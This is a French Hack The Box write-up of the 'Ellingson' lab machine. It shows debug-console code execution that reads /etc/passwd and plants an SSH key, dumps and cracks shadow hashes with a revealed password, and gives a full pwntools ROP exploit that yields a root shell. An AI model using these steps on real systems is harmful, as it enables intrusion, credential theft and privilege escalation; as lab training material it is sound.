Hack The Box – Write Up – Ellingson

Hack The Box – Write Up – Ellingson

Commençons par découvrir les services disponibles sur la machine :

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-19 01:55 CDT
Nmap scan report for 10.10.10.139
Host is up (0.052s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   43.24 ms 10.10.14.1
2   43.49 ms 10.10.10.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.45 seconds

Regardons à quoi ressemble le site disponible :

En fouillant le site nous tombons sur plusieurs pages :

Comme vous pouvez le voir, l’url est : http://10.10.10.139/articles/3. Nous pouvons donc essayer de jouer avec le paramètre 3 pour voir ce que nous avons :

En insérant un le serveur plante et nous donne accès à une console de debug dans laquelle nous pouvons exécuter du code Python.

Essayons de lire le fichier /etc/passwd

>>> print('\n'.join(line.split(":",1)[0] for line in open("/etc/passwd")))
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-network
systemd-resolve
syslog
messagebus
_apt
lxd
uuidd
dnsmasq
landscape
pollinate
sshd
theplague
hal
margo
duke
postfix

Nous pouvons remarquer que nous avons plusieurs utilisateurs : theplague, hal, margo, duke.

Regardons quel utilisateur somme nous actuellement :

>>> import subprocess
>>> import os
>>> print(os.popen("id").read())
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

Nous allons donc essayer d’écrire un fichier authorized_keys dans le dossier SSH de hal.

root@htb:~/htb/boxes/elligson# ssh-keygen -t rsa -b 2048 -C "test@test.com"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/htb/boxes/elligson/mykey
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/htb/boxes/elligson/mykey.
Your public key has been saved in /root/htb/boxes/elligson/mykey.pub.
The key fingerprint is:
SHA256:ZsUdehBQ9SqKpuOOVzV0hPqrRl0P7yTfht2z2dTputc test@test.com
The key's randomart image is:
+---[RSA 2048]----+
|        .==oo    |
|        o..+ o   |
|       o .+ o .  |
|      . o.o. .   |
|       +So.+.    |
|      o+o...+   o|
|     oo .. = + o+|
|   .oo. .   + =+E|
|  .++o..     ++++|
+----[SHA256]-----+
root@htb:~/htb/boxes/elligson# cat mykey.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ8QLQYbegQS+W4lGbf4RJ671MdCuYJ0Mwd4DvX0mguXbRLyRjmemCq7EwRhlAOlI9cNQj6iEdvPitfLqJSXwn2fHCN5GonvtbVXZrol1zJtWQ935EsgVfj9gZSIorAJOCZ2flKUQZy5TVezh2jFIry4Hc3CUZMyU8Zp+Em5N+1+ehNoyMqjUxjZK+CHjgrcU1FmT5MQlAHG5/L2432ybTkYT7uvLgEm+PMAY8j2YC3hnPtiiF7Akt1jk2Jq4ROtyodHJwPmZWOMbEjxj6IHElaiTiLxt/hhbbaisO6czhW1g/bWf1r6R4CdNmKRx0Qh/lKnk2k5Y3kOADVOl3CaER test@test.com
print(os.popen("echo '\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ8QLQYbegQS+W4lGbf4RJ671MdCuYJ0Mwd4DvX0mguXbRLyRjmemCq7EwRhlAOlI9cNQj6iEdvPitfLqJSXwn2fHCN5GonvtbVXZrol1zJtWQ935EsgVfj9gZSIorAJOCZ2flKUQZy5TVezh2jFIry4Hc3CUZMyU8Zp+Em5N+1+ehNoyMqjUxjZK+CHjgrcU1FmT5MQlAHG5/L2432ybTkYT7uvLgEm+PMAY8j2YC3hnPtiiF7Akt1jk2Jq4ROtyodHJwPmZWOMbEjxj6IHElaiTiLxt/hhbbaisO6czhW1g/bWf1r6R4CdNmKRx0Qh/lKnk2k5Y3kOADVOl3CaER test@test.com' >> /home/hal/.ssh/authorized_keys").read())
root@htb:~/htb/boxes/elligson# ssh -i mykey hal@10.10.10.139
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Oct 19 07:29:51 UTC 2019

  System load:  0.02               Processes:            99
  Usage of /:   23.6% of 19.56GB   Users logged in:      0
  Memory usage: 13%                IP address for ens33: 10.10.10.139
  Swap usage:   0%

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates.


Last login: Sun Mar 10 21:36:56 2019 from 192.168.1.211
hal@ellingson:~$ 

Nous voilà connecté en SSH à la machine !

Comme nous avons pu le voir « hal » fait parti du groupe « adm » de la machine. Recherchons les fichiers que nous pouvons lire :

hal@ellingson:/var/log$ find / -group adm 2>/dev/null
/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log

Le fichier /var/backups/shadow.bak est très intéressant puisque nous trouvons les hashs des utilisateurs :

messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

Essayons de décoder le mot de passe de margo. Pour se faire nous pouvions utilisez des indices présents sur le site indiquant que les mots de passe les plus courant utilisent sex, god, love, secret (src: Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague). Nous pouvons essayer de construire une liste de password depuis rockyou.txt qui contient les mots indiqués et lancer une attaque avec john.

root@htb:~/htb/boxes/elligson# john margo.hash --keep-guessing --wordlist=god.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Note: Will keep guessing even after finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08        (?)

Nous trouvons donc iamgod$08 pour margo. Connectons nous avec SSH :

root@htb:~/htb/boxes/elligson# ssh margo@10.10.10.139
margo@10.10.10.139's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Oct 19 07:49:22 UTC 2019

  System load:  0.0                Processes:            107
  Usage of /:   23.7% of 19.56GB   Users logged in:      1
  Memory usage: 27%                IP address for ens33: 10.10.10.139
  Swap usage:   0%

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Mar 10 22:02:27 2019 from 192.168.1.211
margo@ellingson:~$ ls
user.txt
margo@ellingson:~$ wc -c user.txt 
33 user.txt
margo@ellingson:~$ 

Nous avons notre flag user.

Après un coup de linenum nous remarquons un fichier avec le bit SUID activé non habituel :

margo@ellingson:/tmp$ find / -perm /4000 2>/dev/null                                                                                              
/usr/bin/at                                                                                                                                       
/usr/bin/newgrp                                                                                                                                   
/usr/bin/pkexec                                                                                                                                   
/usr/bin/passwd                                                                                                                                   
/usr/bin/gpasswd                                                                                                                                  
/usr/bin/garbage                                                                                                                                  
/usr/bin/newuidmap                                                                                                                                
/usr/bin/sudo                                                                                                                                     
/usr/bin/traceroute6.iputils                                                                                                                      
/usr/bin/chfn                                                                                                                                     
/usr/bin/newgidmap                                                                                                                                
/usr/bin/chsh                                                                                                                                     
/usr/lib/policyk

Le fichier /usr/bin/garbage. Lançons le pour voir ce qu’il fait :

margo@ellingson:/tmp$ /usr/bin/garbage
Enter access password: test

access denied.
margo@ellingson:/tmp$ 

Après analyse ce programme souffre d’un buffer overflow. Nous pouvons donc faire une attaque de type rop. Dans cet article, je fournis le code de l’exploit mais je ne vais pas m’attarder sur l’explication du code. Bientôt une série d’article sur l’exploitation de binaire sera disponible.

from pwn import *

context(os="linux", arch="amd64")

s = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
p = s.process("/usr/bin/garbage")

# FROM BINARY
PLT_PUT = 0x401050
GOT_PUT = 0x404028
POP_RDI = 0x40179b
MAIN = 0x401619

# FROM LIBC
LIBC_PUTS = 0x809c0
LIBC_SYSTEM = 0x4f440
LIBC_BINSH = 0x1b3e9a
LIBC_SETUID = 0xe5970

####################
# LEAK PUT ADDR FROM LIBC
####################

# JUNK
PADDING = "A"*136
ROP = PADDING

# puts(GOT_PUT)
# RETURN TO MAIN PROGRAM
ROP += p64(POP_RDI) # POP RDI; RET
ROP += p64(GOT_PUT) # ADDR GOT PUT
ROP += p64(PLT_PUT) # CALL PUT
ROP += p64(MAIN) # return to main

print(p.recv(1024))
p.sendline(ROP)

# GET LEAK ADDR
response = p.recv(1024).split("\n")
leak = response[2]
LIBC_BASE = u64(leak.ljust(8, "\x00")) - LIBC_PUTS
print(hex(LIBC_BASE))

####################
# FINAL STAGE
####################

# JUNK
PADDING = "A"*136
ROP = PADDING

# setuid(0)
ROP += p64(POP_RDI) # POP RDI; RET
ROP += "\x00\x00\x00\x00\x00\x00\x00\x00" # ADDR GOT PUT
ROP += p64(LIBC_BASE + LIBC_SETUID) # SETUID

# system("/bin/sh")
ROP += p64(POP_RDI) # POP RDI; RET
ROP += p64(LIBC_BASE + LIBC_BINSH) # ADDR BINSH
ROP += p64(LIBC_BASE + LIBC_SYSTEM) # CALL SYSTEM

p.sendline(ROP)
p.recv(1024)
p.interactive()

Le résultat :

root@htb:~/htb/boxes/elligson# python root.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 4594
Enter access password: 
[*] Switching to interactive mode
$ id
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cd /root/
# $ ls
root.txt
# $ wc -c root.txt
33 root.txt
# $  
Les commentaires sont clos.